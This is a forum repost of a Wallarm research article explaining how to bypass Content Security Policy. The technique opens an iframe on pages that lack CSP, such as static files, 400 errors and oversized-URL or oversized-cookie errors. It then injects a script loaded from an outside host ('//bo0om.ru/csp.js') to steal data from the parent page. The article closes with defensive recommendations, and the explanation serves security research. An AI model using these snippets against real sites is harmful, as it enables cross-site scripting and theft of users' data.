Jump to content
Nytro

Neatly bypassing CSP

Recommended Posts

Neatly bypassing CSP

How to trick CSP in letting you run whatever you want

By bo0om, Wallarm research

Content Security Policy or CSP is a built-in browser technology which helps protect from attacks such as cross-site scripting (XSS). It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascripts and more.

But what if we can give an example of successful XSS event when no unsafe resource origins are allowed? Read on to find out how.

How CSP works when everything is well.

A common usage scenario here is when CSP specifies that the images can only be loaded from the current domain, which means that all the tags with external domains will be ignored.

CSP policy is commonly used to block untrusted JS and minimize the change of a successful XSS exploit.

Here is an example of allowing resource from the local domain (self) to be loaded and executed in-line:

Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;

Since a security policy implies “prohibited unless explicitly allowed”, this configuration prohibits usage of any functions that execute code transmitted as a string. For example: eval, setTimeout, setInterval will all be blocked because of the setting unsafe-eval

 
0*Q37lCnm-I7HKodYx

Any content from external sources is also blocked, including images, css, websockets, and, especially, JS

To see for yourself how it works, check out this code where I deliberately put in a XSS exploit. Try to steal the secret this way without spooking the user, i.e. without a redirect.

Tricking CSP

Despite the limitations, we can still upload scenarios, create frames and put together images because self does not prevent working with the resources governed by Self Origin Policy (SOP). Since CSP also applies to frames, the same policy governs frames that may include data, blob or files formed with srcdoc as protocols.

 
0*MwlG3kcMB_-5_Zmx

So, can we really execute an arbitrary javascript in a test file? The truth is out there.

We are going to rely on a neat tick here. Most of the modern browser automatically convert files, such as text files or images, to an HTML page.

 
0*EvaNEjpCGUmIHt9a

The reason for this behavior is to correctly depict the content in the browser window; it needs to have the right background, be centered and so on. However, iframe is also a browser window!. Thus, opening any file that needs to shown in a browser in an iframe (i.e. favicon.ico or robots.txt) will immediately convert them into HTML without any data validation as long as the content-type is right.

What happens if a frame opens a site page that doesn’t have a CSP header? You can guess the answer. Without CSP, an open frame will execute all the JS inside the page. If the page has an XSS exploit, we can write a js into the frame ourselves.

To test this, let’s try a scenario which opens an iframe. Let’s use bootstrap.min.css, which we already mentioned earlier, as an example.

frame=document.createElement(“iframe”);
frame.src=”/css/bootstrap.min.css”;
document.body.appendChild(frame);
 
0*33Na-IxPAnLQmDe2

Let’s take a look at what’s in the frame. As expected, CSS got converted into HTML and we managed to overwrite the content of head (even though it was empty to begin with). Now, let’s see if we can get it to suck in an external JS file.

script=document.createElement(‘script’);
script.src=’//bo0om.ru/csp.js’;
window.frames[0].document.head.appendChild(script);
 
0*x2DRd6YrJzbyIkKX

It worked! this is how we can execute an injecting through an iframe, create our own js scenario and query the parent window to steal its data.

All you need for an XSS exploit is to open an iframe and pointed it at any path that doesn’t include a CSP header. It can be the standard favicon.ico, robots.txt, sitemap.xml, css/js, jpg or other files.

PoC

Slight of hand and no magic

What if the site developer was careful and any expected site response (200-OK) includes X-Frame-Options: Deny? We can still try to get in. The second common error in using CSP is a lack of protective headers when returning web scanner errors. The simplest way to try this is to try to open a web page that doesn’t exist. I noticed that many resources only include X-Frame-Options on response with 200 code and not with 404 code.

If that is also accounted for, we can try causing the site to return a standard web-server “invalid request” message.

For example, force NGINX to return “400 bad request”, all you need to do is to query on level above it at /../ To prevent the browser from normalizing the request and replacing /../ with /, we will use unicode for the dots and the last slash.

frame=document.createElement(“iframe”);
frame.src=”/%2e%2e%2f”;
document.body.appendChild(frame);
 
0*yHYFNHUhA6s97pN4

Another possibility here is passing and incorrect unicode path, i.e. /% or /%%z

However, the easiest way to get a web-server to return an error is to exceed the URL allowed length. Most modern browsers can concoct a url which is much much longer than a web-server can handle. A standard default url length handled by such web-servers and NGINX & Apache is set not to exceed 8kB.

To try that, we can execute a similar scenario with a path length of 20000 byte:

frame=document.createElement(“iframe”);
frame.src=”/”+”A”.repeat(20000);
document.body.appendChild(frame);
 
0*G0C5_BgyyUcK8zQ8

Yet another way to fool the server into returning an error is to trigger a cookie length limit. Again, browsers support more and longer cookies than web-servers can handle. Following the same scenario:

  1. Create a humongous cookie
    for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};

2. Open an iframe using any address, which will cause the server to return an error (often without XFO or CSP)

3. Remove the humongous cookie:
for(var i=0;i<5;i++){document.cookie=i+”=”}

4. Write your own js script into the frame that steals the parent’s secret

Try it for yourself. Here are some hints for you if you need them: PoC:)

There many other ways to cause the web-server to return an error, for example we can send a POST request which is too long or cause the web-server 500 error somehow.

Why is CSP so gullible and what to do about it?

The simple underlying reason is that the policy controlling the resource is embedded within the resource itself.

To avoid the bad situations, my recommendations are:

  • CSP headers should be present on all the pages, event on the error pages returned by the web-server.
  • CSP options should be configured to restrict the rights to just those necessary to work with the specific resource. Try setting Content-Security-Policy-Report-Only: default-src ‘none’ and gradually adding permission rules for specific use cases.

If you have to use unsafe-inline for correctly loading and processing the resources, your only protection is to use nonce or hash-source. Otherwise, you are exposed to XSS exploits and if CSP doesn’t protect, why do you need it in the first place ?!

Additionally, as shared by @majorisc, another trick for stealing the data from a page is to use RTCPeerConnection and to pass the secret via DNS requests. default-src ‘self’ doesn’t protect from it, unfortunately.

Keep reading our blog for more tricks from our magic bag.

 

Sursa: https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...